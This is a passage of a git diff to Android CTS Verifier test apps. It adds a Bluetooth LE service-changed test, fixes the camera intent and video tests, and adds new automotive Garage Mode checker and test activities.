                 // execute disconnection test
+                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
+                break;
+            case BleClientService.BLE_ON_SERVICE_CHANGED:
+                actionName = getString(R.string.ble_on_service_changed);
+                mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
+                mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
                 newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
                 break;
             case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
index c5c84d2..c9cf284 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
@@ -101,6 +101,12 @@
     @Override
     public void onPause() {
         super.onPause();
+        closeDialog();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
         unregisterReceiver(mBroadcast);
         closeDialog();
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index f5e29ba..8177ca2 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -119,6 +119,8 @@
             "com.android.cts.verifier.bluetooth.BLE_ADVERTISE_UNSUPPORTED";
     public static final String BLE_ADD_SERVICE_FAIL =
             "com.android.cts.verifier.bluetooth.BLE_ADD_SERVICE_FAIL";
+    public static final String BLE_SERVICE_CHANGED_INDICATION =
+            "com.android.cts.verifier.bluetooth.BLE_SERVICE_CHANGED_INDICATION";
 
     private static final UUID SERVICE_UUID =
             UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
@@ -137,6 +139,8 @@
             UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
     private static final UUID SERVICE_UUID_INCLUDED =
             UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_UUID_SERVICE_CHANGED =
+            UUID.fromString("00009993-0000-1000-8000-00805f9b34fb");
 
     // Variable for registration permission of Characteristic
     private static final UUID CHARACTERISTIC_NO_READ_UUID =
@@ -190,6 +194,12 @@
     private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
             UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
 
+    // Variable for registration characteristic of service changed service
+    private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
+            UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_CHANGED_CHARACTERISTIC_UUID =
+            UUID.fromString("00009948-0000-1000-8000-00805f9b34fb");
+
     private static final UUID UPDATE_DESCRIPTOR_UUID =
             UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
 
@@ -225,6 +235,7 @@
     private String mMtuTestReceivedData;
     private Runnable mResetValuesTask;
     private BluetoothGattService mAdditionalNotificationService;
+    private BluetoothGattService mServiceChangedService;
 
     // Task to notify failure of starting secure test.
     //   Secure test calls BluetoothDevice#createBond() when devices were not paired.
@@ -247,6 +258,7 @@
 
         mService = createService();
         mAdditionalNotificationService = createAdditionalNotificationService();
+        mServiceChangedService = createServiceChangedService();
 
         mDevice = null;
         mReliableWriteValue = "";
@@ -586,6 +598,16 @@
         resetValues();
     }
 
+    private void notifyServiceChangedIndication() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyServiceChangedIndication");
+        }
+        Intent intent = new Intent(BLE_SERVICE_CHANGED_INDICATION);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
     private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
         BluetoothGattCharacteristic characteristic = mService.getCharacteristic(uuid);
         if (characteristic == null) {
@@ -607,6 +629,17 @@
         return descriptor;
     }
 
+    private BluetoothGattService createServiceChangedService() {
+        BluetoothGattService service =
+                new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+
+        BluetoothGattCharacteristic dummyCharacteristic =
+                new BluetoothGattCharacteristic(SERVICE_CHANGED_CHARACTERISTIC_UUID, 0x02, 0x02);
+
+        service.addCharacteristic(dummyCharacteristic);
+        return service;
+    }
+
     /**
      * Create service for notification test
      * @return
@@ -806,6 +839,11 @@
         notiCharacteristic.setValue(NOTIFY_VALUE);
         service.addCharacteristic(notiCharacteristic);
 
+        // Add new Characteristics (Service change control)
+        BluetoothGattCharacteristic controlCharacteristic =
+                new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08, 0x10);
+        service.addCharacteristic(controlCharacteristic);
+
         return service;
     }
 
@@ -925,6 +963,8 @@
                     mService.addService(service);
                     mGattServer.addService(mAdditionalNotificationService);
                 } else if (uuid.equals(mAdditionalNotificationService.getUuid())) {
+                    mGattServer.addService(mServiceChangedService);
+                } else if (uuid.equals(mServiceChangedService.getUuid())) {
                     // all services added
                     notifyServiceAdded();
                 } else {
@@ -1007,6 +1047,9 @@
                     case DESCRIPTOR_READ_NO_PERMISSION:
                         notifyDescriptorReadRequestWithoutPermission();
                         break;
+                    case BleClientService.SERVICE_CHANGED_VALUE:
+                        notifyServiceChangedIndication();
+                        break;
                 }
                 if (responseNeeded) {
                     mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
@@ -1014,6 +1057,14 @@
                 return;
             }
 
+            if (characteristic.getUuid().equals(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID)) {
+                if (responseNeeded) {
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                }
+                mGattServer.removeService(mServiceChangedService);
+                return;
+            }
+
             // MTU test flow
             if (mCountMtuChange > 0) {
                 if (preparedWrite) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
index c58ee46..6adaad3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
@@ -52,7 +52,8 @@
     private static final int PASS_FLAG_MTU_CHANGE_23BYTES = 0x4000;
     private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x8000;
     private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x10000;
-    private static final int PASS_FLAG_ALL = 0x1FFFF;
+    private static final int PASS_FLAG_SERVICE_CHANGED_INDICATION = 0x20000;
+    private static final int PASS_FLAG_ALL = 0x3FFFF;
 
     private final int BLE_SERVICE_ADDED = 0;
     private final int BLE_SERVER_CONNECTED = 1;
@@ -70,8 +71,9 @@
     private final int BLE_DESCRIPTOR_WRITE_REQUEST = 12;    //13;
     private final int BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION = 13;  //14;
     private final int BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION = 14; //15;
-    private final int BLE_SERVER_DISCONNECTED = 15; //16;
-    private final int BLE_OPEN_FAIL = 16;   //17;
+    private final int BLE_SERVOCE_CHANGED_INDICATION = 15; // 16;
+    private final int BLE_SERVER_DISCONNECTED = 16; //17;
+    private final int BLE_OPEN_FAIL = 17;   //18;
 
     private TestAdapter mTestAdapter;
     private long mAllPassed;
@@ -122,6 +124,7 @@
         filter.addAction(BleServerService.BLE_BLUETOOTH_MISMATCH_INSECURE);
         filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);
         filter.addAction(BleServerService.BLE_ADD_SERVICE_FAIL);
+        filter.addAction(BleServerService.BLE_SERVICE_CHANGED_INDICATION);
 
         registerReceiver(mBroadcast, filter);
     }
@@ -155,6 +158,7 @@
         testList.add(R.string.ble_server_write_descriptor);
         testList.add(R.string.ble_server_read_descriptor_without_permission);
         testList.add(R.string.ble_server_write_descriptor_without_permission);
+        testList.add(R.string.ble_server_service_changed_indication);
         testList.add(R.string.ble_server_receiving_disconnect);
         return testList;
     }
@@ -256,6 +260,10 @@
                 mTestAdapter.setTestPass(BLE_SERVER_MTU_512BYTES);
                 mAllPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
                 break;
+            case BleServerService.BLE_SERVICE_CHANGED_INDICATION:
+                mTestAdapter.setTestPass(BLE_SERVOCE_CHANGED_INDICATION);
+                mAllPassed |= PASS_FLAG_SERVICE_CHANGED_INDICATION;
+                    break;
             case BleServerService.BLE_BLUETOOTH_MISMATCH_SECURE:
                 showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
                 break;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/DevicePickerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/DevicePickerActivity.java
index a5dea4b..dc6851b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/DevicePickerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/DevicePickerActivity.java
@@ -123,6 +123,7 @@
     }
 
     private void scan() {
+        mBluetoothAdapter.setScanMode(BluetoothAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE, 60);
         populatePairedDevices();
         mNewDevicesAdapter.clear();
         if (mBluetoothAdapter.isDiscovering()) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
index 7365b32..78f41da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
@@ -753,7 +753,7 @@
 
     private void startPreview() {
         try {
-            if (mPreviewSize == null || mPreviewSize.equals(mNextCombination.mPreviewSize)) {
+            if (mPreviewSize == null || !mPreviewSize.equals(mNextCombination.mPreviewSize)) {
                 mPreviewSize = mNextCombination.mPreviewSize;
 
                 mYuvImageReader = ImageReader.newInstance(mPreviewSize.getWidth(),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
index 5d2bff7..7eae01c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
@@ -101,7 +101,7 @@
         Camera.ACTION_NEW_VIDEO,
         null,
         null,
-        Camera.ACTION_NEW_VIDEO
+        null
     };
 
     private ImageButton mPassButton;
@@ -204,7 +204,8 @@
     }
 
     private void updateSuccessState() {
-        if (mActionSuccess && mUriSuccess) {
+        // Last stage requires additional step to switch on location permission
+        if (mActionSuccess && mUriSuccess && getStageIndex() < NUM_STAGES - 1) {
             mState = STATE_SUCCESSFUL;
         }
 
@@ -308,7 +309,7 @@
         // Only the last one uses the PassFailButtons click callback function,
         // which gracefully terminates the activity.
         if (stageIndex + 1 < NUM_STAGES) {
-            setPassButtonGoesToNextStage(stageIndex);
+            setPassButtonGoesToNextStage();
         }
         resetButtons();
 
@@ -379,7 +380,7 @@
         Boolean locationEnabled = (checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) ==
                 PackageManager.PERMISSION_GRANTED);
 
-        if (getStageIndex() == STAGE_INTENT_VIDEO) {
+        if (getStageIndex() == NUM_STAGES - 1) {
                 /**
                  * Don't enable the pass /fail button till the user grants CTS verifier location
                  * access again.
@@ -412,7 +413,7 @@
     public void onPause() {
         super.onPause();
         /*
-        When testing INTENT_PICTURE, INTENT_VIDEO,
+        When testing INTENT_PICTURE, INTENT_PICTURE_SECURE, INTENT_VIDEO,
         do not allow user to cheat by going to camera app and re-firing
         the intents by taking a photo/video
         */
@@ -446,6 +447,9 @@
                             break;
                         case STAGE_INTENT_VIDEO:
                             handleIntentVideoResult();
+                            // No broadcast should be received because EXTRA_OUTPUT is set.
+                            // Proceed to update test result
+                            updateSuccessState();
                             break;
                         default:
                             return;
@@ -546,14 +550,6 @@
                             mState = STATE_FAILED;
                         }
 
-                        // For STAGE_INTENT_PICTURE test, if EXTRA_OUTPUT is not assigned in intent,
-                        // file should NOT be saved so triggering this is a test failure.
-                        if (getStageIndex() == STAGE_INTENT_PICTURE ||
-                            getStageIndex() == STAGE_INTENT_PICTURE_SECURE) {
-                            Log.e(TAG, "FAIL: STAGE_INTENT_PICTURE or STAGE_INTENT_PICTURE_SECURE test should not create file");
-                            mState = STATE_FAILED;
-                        }
-
                         if (mState != STATE_FAILED) {
                             return true;
                         } else {
@@ -565,14 +561,8 @@
                 e.printStackTrace();
             }
 
-            if (getStageIndex() == STAGE_INTENT_PICTURE ||
-                getStageIndex() == STAGE_INTENT_PICTURE_SECURE) {
-                // STAGE_INTENT_PICTURE or STAGE_INTENT_PICTURE_SECURE should timeout
-                return true;
-            } else {
-                Log.e(TAG, "FAIL: timeout waiting for URI trigger");
-                return false;
-            }
+            Log.e(TAG, "FAIL: timeout waiting for URI trigger");
+            return false;
         }
 
         protected void onPostExecute(Boolean pass) {
@@ -614,7 +604,7 @@
             mTestEnv.setUp();
 
             /**
-             * Video intents do not need to wait on a ContentProvider broadcast since we're starting
+             * Intent stages do not need to wait on a ContentProvider broadcast since we're starting
              * the intent activity with EXTRA_OUTPUT set
              */
             if (stageIndex != STAGE_INTENT_VIDEO &&
@@ -767,7 +757,7 @@
         // Auto-generated method stub
     }
 
-    private void setPassButtonGoesToNextStage(final int stageIndex) {
+    private void setPassButtonGoesToNextStage() {
         findViewById(R.id.pass_button).setOnClickListener(this);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index f12770c..fb4a893 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -90,9 +90,12 @@
             add("scene2_a");
             add("scene2_b");
             add("scene2_c");
+            add("scene2_d");
+            add("scene2_e");
             add("scene3");
             add("scene4");
             add("scene5");
+            add("scene_change");
             add("sensor_fusion");
         } };
     // This must match scenes of HIDDEN_PHYSICAL_CAMERA_TESTS in run_all_tests.py
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
index 30df08b..f38ba85 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
@@ -26,6 +26,7 @@
 import android.hardware.camera2.CameraAccessException;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraManager;
+import android.hardware.cts.helpers.CameraUtils;
 import android.media.CamcorderProfile;
 import android.media.MediaPlayer;
 import android.media.MediaRecorder;
@@ -87,6 +88,7 @@
     private int mCurrentCameraId = -1;
     private Camera mCamera;
     private boolean mIsExternalCamera;
+    private int mVideoFrameRate = -1;
 
     private MediaRecorder mMediaRecorder;
 
@@ -183,6 +185,14 @@
         return Math.max(BIT_RATE_MIN, Math.min(BIT_RATE_MAX, rate));
     }
 
+    private int getVideoFrameRate() {
+        return mVideoFrameRate;
+    }
+
+    private void setVideoFrameRate(int videoFrameRate) {
+        mVideoFrameRate = videoFrameRate;
+    }
+
     private boolean prepareVideoRecorder() {
 
         mMediaRecorder = new MediaRecorder();
@@ -226,6 +236,7 @@
             mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
             mMediaRecorder.setVideoEncodingBitRate(getVideoBitRate(recordSize));
             mMediaRecorder.setVideoSize(recordSize.width, recordSize.height);
+            mMediaRecorder.setVideoFrameRate(getVideoFrameRate());
         } else {
             mMediaRecorder.setProfile(CamcorderProfile.get(mCurrentCameraId, mCurrentVideoSizeId));
         }
@@ -769,6 +780,7 @@
         shutdownCamera();
 
         mCurrentCameraId = id;
+        mIsExternalCamera = isExternalCamera(id);
         try {
             mCamera = Camera.open(id);
         }
@@ -777,7 +789,6 @@
             failTest("camera not available" + e.getMessage());
             return;
         }
-        mIsExternalCamera = isExternalCamera(id);
 
         Camera.Parameters p = mCamera.getParameters();
         if (VERBOSE) {
@@ -798,6 +809,10 @@
             }
         };
 
+        if (mIsExternalCamera) {
+            setVideoFrameRate(p.getPreviewFrameRate());
+        }
+
         SizeCompare s = new SizeCompare();
         TreeSet<Size> sortedResolutions = new TreeSet<Size>(s);
         sortedResolutions.addAll(unsortedSizes);
@@ -958,18 +973,9 @@
     }
 
     private boolean isExternalCamera(int cameraId) {
-        CameraManager manager = (CameraManager) this.getSystemService(Context.CAMERA_SERVICE);
         try {
-            String cameraIdStr = manager.getCameraIdList()[cameraId];
-            CameraCharacteristics characteristics =
-                    manager.getCameraCharacteristics(cameraIdStr);
-
-            if (characteristics.get(CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL) ==
-                            CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL) {
-                // External camera doesn't support FOV informations
-                return true;
-            }
-        } catch (CameraAccessException e) {
+            return CameraUtils.isExternal(this, cameraId);
+        } catch (Exception e) {
             Toast.makeText(this, "Could not access camera " + cameraId +
                     ": " + e.getMessage(), Toast.LENGTH_LONG).show();
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
new file mode 100644
index 0000000..a7f742f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.os.AsyncTask;
+import android.os.Handler;
+import android.os.Message;
+import android.os.PersistableBundle;
+import android.util.Log;
+import android.util.SparseArray;
+
+import java.lang.ref.WeakReference;
+import java.util.List;
+
+public final class GarageModeChecker extends JobService {
+    private static final String TAG = GarageModeChecker.class.getSimpleName();
+
+    static final String PREFS_FILE_NAME = "GarageModeChecker_prefs";
+    static final String PREFS_INITIATION = "test-initiation";
+    static final String PREFS_GARAGE_MODE_START = "garage-mode-start";
+    static final String PREFS_GARAGE_MODE_END = "garage-mode-end";
+    static final String PREFS_TERMINATION = "termination-time";
+    static final String PREFS_JOB_UPDATE = "job-update-time";
+    static final String PREFS_HAD_CONNECTIVITY = "had-connectivity";
+
+    static final int SECONDS_PER_ITERATION = 10;
+    static final int MS_PER_ITERATION = SECONDS_PER_ITERATION * 1000;
+
+    private static final int GARAGE_JOB_ID = GarageModeTestActivity.class.hashCode();
+    private static final String JOB_NUMBER = "job_number";
+    private static final String REMAINING_SECONDS = "remaining_seconds";
+    // JobScheduler allows a maximum of 10 minutes for a job, but depending on vendor implementation
+    // Garage Mode may not last that long. So, max job duration is set to 60 seconds.
+    private static final int MAX_SECONDS_PER_JOB = 60;
+
+    private static final int MSG_FINISHED = 0;
+    private static final int MSG_RUN_JOB = 1;
+    private static final int MSG_CANCEL_JOB = 2;
+
+    private Context mIdleJobContext;
+
+    private boolean mReportFirstExecution = true;
+
+    public static void scheduleAnIdleJob(Context context, int durationSeconds) {
+        JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+        // Get the next available job ID
+        int highestJobNumber = 0;
+        for (JobInfo jobInfo : jobScheduler.getAllPendingJobs()) {
+            int jobId = jobInfo.getId();
+            if (highestJobNumber < jobId) {
+                highestJobNumber = jobId;
+            }
+        }
+        scheduleJob(context, highestJobNumber + 1, durationSeconds);
+    }
+
+    private static void scheduleJob(Context context, int jobNumber, int durationSeconds) {
+        JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+        ComponentName jobComponentName = new ComponentName(context, GarageModeChecker.class);
+        JobInfo.Builder builder = new JobInfo.Builder(jobNumber, jobComponentName);
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putInt(JOB_NUMBER, jobNumber);
+        bundle.putInt(REMAINING_SECONDS, durationSeconds);
+
+        JobInfo jobInfo = builder
+                .setRequiresDeviceIdle(true)
+                .setExtras(bundle)
+                .build();
+        jobScheduler.schedule(jobInfo);
+    }
+
+    private final Handler mHandler = new Handler() {
+        private SparseArray<JobParameters> mTaskMap = new SparseArray<>();
+        private boolean mHaveContinuousConnectivity = true; // Assume true initially
+
+        @Override
+        public void handleMessage(Message msg) {
+            JobParameters job = (JobParameters) msg.obj;
+            switch (msg.what) {
+                case MSG_FINISHED:
+                    mTaskMap.remove(job.getJobId());
+                    jobFinished(job, false);
+                    break;
+                case MSG_RUN_JOB:
+                    checkConnectivity(msg.arg1);
+                    GarageModeCheckerTask task = new GarageModeCheckerTask(this, job, msg.arg1);
+                    task.execute();
+                    mTaskMap.put(job.getJobId(), job);
+                    break;
+                case MSG_CANCEL_JOB:
+                    JobParameters runningJob = mTaskMap.get(job.getJobId());
+                    if (runningJob != null) {
+                        removeMessages(MSG_RUN_JOB, runningJob);
+                        mTaskMap.remove(job.getJobId());
+                    }
+                    SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                            Context.MODE_PRIVATE);
+                    SharedPreferences.Editor editor = prefs.edit();
+                    editor.putLong(PREFS_TERMINATION, System.currentTimeMillis());
+                    editor.commit();
+                    Log.v(TAG, "Idle job was terminated");
+                    break;
+            }
+        }
+
+        private void checkConnectivity(int iteration) {
+            if (mHaveContinuousConnectivity) {
+                // Check if we still have internet connectivity
+                NetworkInfo networkInfo = getApplicationContext()
+                        .getSystemService(ConnectivityManager.class).getActiveNetworkInfo();
+                mHaveContinuousConnectivity = networkInfo != null
+                        && networkInfo.isAvailable() && networkInfo.isConnected();
+                if (iteration == 0 || !mHaveContinuousConnectivity) {
+                    // Save the connectivity state on the first pass and
+                    // the first time we lose connectivity
+                    SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                            Context.MODE_PRIVATE);
+                    SharedPreferences.Editor editor = prefs.edit();
+                    editor.putBoolean(PREFS_HAD_CONNECTIVITY, mHaveContinuousConnectivity);
+                    editor.commit();
+                }
+            }
+        }
+    };
+
+    @Override
+    public boolean onStopJob(JobParameters jobParameters) {
+        Message msg = mHandler.obtainMessage(MSG_CANCEL_JOB, 0, 0, jobParameters);
+        mHandler.sendMessage(msg);
+        return false;
+    }
+
+    @Override
+    public boolean onStartJob(final JobParameters jobParameters) {
+        mIdleJobContext = getApplicationContext();
+        if (mReportFirstExecution) {
+            mReportFirstExecution = false;
+            // Remember the start time
+            SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putLong(PREFS_GARAGE_MODE_START, System.currentTimeMillis());
+            editor.commit();
+            Log.v(TAG, "Starting idle job");
+        }
+        Message msg = mHandler.obtainMessage(MSG_RUN_JOB, 0, 0, jobParameters);
+        mHandler.sendMessage(msg);
+        return true;
+    }
+
+    private final class GarageModeCheckerTask extends AsyncTask<Void, Void, Boolean> {
+        private final WeakReference<Handler> mHandler;
+        private final JobParameters mJobParameter;
+        private final int mIteration;
+
+        GarageModeCheckerTask(Handler handler, JobParameters jobParameters, int iteration) {
+            mHandler = new WeakReference<Handler>(handler);
+            mJobParameter = jobParameters;
+            mIteration = iteration;
+        }
+
+        @Override
+        protected Boolean doInBackground(Void... infos) {
+            int remainingSeconds = mJobParameter.getExtras().getInt(REMAINING_SECONDS);
+            int myMaxTime = Math.min(remainingSeconds, MAX_SECONDS_PER_JOB);
+            int elapsedSeconds = SECONDS_PER_ITERATION * mIteration;
+            long now = System.currentTimeMillis();
+            SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor editor = null;
+
+            if (elapsedSeconds >= myMaxTime + SECONDS_PER_ITERATION) {
+                // This job is done
+                if (myMaxTime == remainingSeconds) {
+                    // This is the final job. Note the completion time.
+                    editor = prefs.edit();
+                    editor.putLong(PREFS_GARAGE_MODE_END, now);
+                    editor.commit();
+                    Log.v(TAG, "Idle job is finished");
+                }
+                return false;
+            }
+
+            editor = prefs.edit();
+            editor.putLong(PREFS_JOB_UPDATE, now);
+            editor.commit();
+            if (elapsedSeconds >= myMaxTime && (myMaxTime < remainingSeconds)) {
+                // This job is about to finish and there is more time remaining.
+                // Schedule another job.
+                scheduleJob(mIdleJobContext, mJobParameter.getJobId() + 1,
+                        remainingSeconds - elapsedSeconds);
+            }
+            return true;
+        }
+
+        @Override
+        protected void onPostExecute(Boolean result) {
+            final Handler handler = mHandler.get();
+            if (handler == null) {
+                return;
+            }
+            if (result) {
+                Message msg = handler.obtainMessage(MSG_RUN_JOB, mIteration + 1, 0, mJobParameter);
+                handler.sendMessageDelayed(msg, MS_PER_ITERATION);
+            } else {
+                Message msg = handler.obtainMessage(MSG_FINISHED, 0, 0, mJobParameter);
+                handler.sendMessage(msg);
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
new file mode 100644
index 0000000..74bbc08
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.UiModeManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.text.DateFormat;
+
+/**
+ * Tests that Garage Mode runs at the end of a drive
+ */
+public final class GarageModeTestActivity extends PassFailButtons.Activity {
+    // Requirements from Android 11 Compatibility Definition
+    // 2.5.4. Performance and Power
+    // Automotive device implementations:
+    //
+    // [8.3/A-1-3] MUST support Garage Mode
+    // [8.3/A-1-4] SHOULD be in Garage Mode for at least 15 minutes unless:
+    //                 The battery is drained.
+    //                 No idle jobs are scheduled.
+    //                 The driver exits Garage Mode.
+    //
+    // I understand that Google intends to require that Garage Mode is occasionally
+    // allowed to run at least 30 seconds. This code tests for that minimum time.
+
+    private static final String TAG = GarageModeTestActivity.class.getSimpleName();
+
+    // The recommendation is for Garage Mode to run for 15 minutes. To allow
+    // for some variation, run the test for 14 minutes and verify that it
+    // ran at least 13 minutes.
+    private static final int NUM_SECONDS_DURATION = 14 * 60;
+    private static final long RECOMMENDED_DURATION_MS = (NUM_SECONDS_DURATION - 60) * 1000L;
+
+    // The hard requirement is for Garage Mode to run for 30 seconds. Fail if
+    // the test doesn't run at least this long.
+    private static final long REQUIRED_DURATION_MS = 30 * 1000L;
+
+    // Once a test is started, Garage Mode is expected to start within 10 minutes. If it doesn't,
+    // the test is marked as fail.
+    private static final long MAX_WAIT_UNTIL_GARAGE_MODE = 10 * 60 * 1000L;
+
+    private TextView mStatusText;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.garage_test_main, null);
+        setContentView(view);
+
+        setInfoResources(R.string.car_garage_mode_test, R.string.car_garage_mode_test_desc, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        mStatusText = findViewById(R.id.car_garage_mode_results);
+
+        // Garage Mode Monitor
+        Button monitorButton = (Button) view.findViewById(R.id.launch_garage_monitor);
+        monitorButton.setOnClickListener((buttonView) -> {
+            Context context = GarageModeTestActivity.this;
+            SharedPreferences prefs = context.getSharedPreferences(
+                    GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+            long now = System.currentTimeMillis();
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putLong(GarageModeChecker.PREFS_INITIATION, now);
